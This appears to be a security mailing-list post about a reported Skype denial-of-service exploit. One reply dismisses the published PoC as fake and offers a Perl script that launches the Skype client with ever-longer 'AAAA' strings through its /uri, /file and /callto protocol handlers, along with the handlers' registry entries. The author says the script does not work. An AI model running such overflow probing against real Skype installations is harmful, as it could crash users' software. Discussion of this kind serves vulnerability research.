Hi all!
On SecurityLab.ru forum an exploit code was published by an anonymous
user. Reportedly it must have caused Skype massive disconnections
today. The PoC uses standard Skype client to call to a specific
number. This call causes denial of service of current Skype server and
forces Skype to reconnect to another server. The new server also
"freezes" and so on ... the entire network.
Liks: http://www.securitylab.ru/news/301422.php
PoC: http://en.securitylab.ru/poc/301420.php

imho fake (the poc does nothing except looping forever, missing
execve(), exec() in place of system(), etc)

should be something like

#!/usr/bin/perl

for ($i=0;$i<(256*256);$i=$i+256) {
// ctrl + q for fast quit from skype
print "Try with $i\n";
$eot='AAAA' x $i;
$str="\"/home/p/bin/skype_static-1.4.0.74/skype\" \"/uri:$eot\"";
#$str="\"/home/p/bin/skype_static-1.4.0.74/skype\" \"/file:$eot\"";
#$str="\"/home/p/bin/skype_static-1.4.0.74/skype\" \"/callto:$eot\"";
#$str="\"/home/l/bin/skype_static-latest/skype\" \"/uri:$eot\"";
#$str="\"/usr/bin/skype\" \"/uri:$eot\"";
#$str="\"C:\\Program Files\\Skype\\Phone\\Skype.exe\" \"/uri:$eot\"";
#print($str);
system($str);
}

uri is a legit skype protocol handler

0x2,"Classes\skype\shell\open\command", "", "%SystemDrive%\Program
Files\Skype\Phone\Skype.exe" "/uri:%1"
0x1,"Classes\Skype.Content\Shell\Open\Command", "",
"%SystemDrive%\Programs\Skype\Phone\Skype.exe" "/file:%1"
0x2,"Classes\callto\shell\open\command", "",
"%SystemDrive%\Programs\Skype\Phone\Skype.exe" "/callto:%1"

but still doesn't work
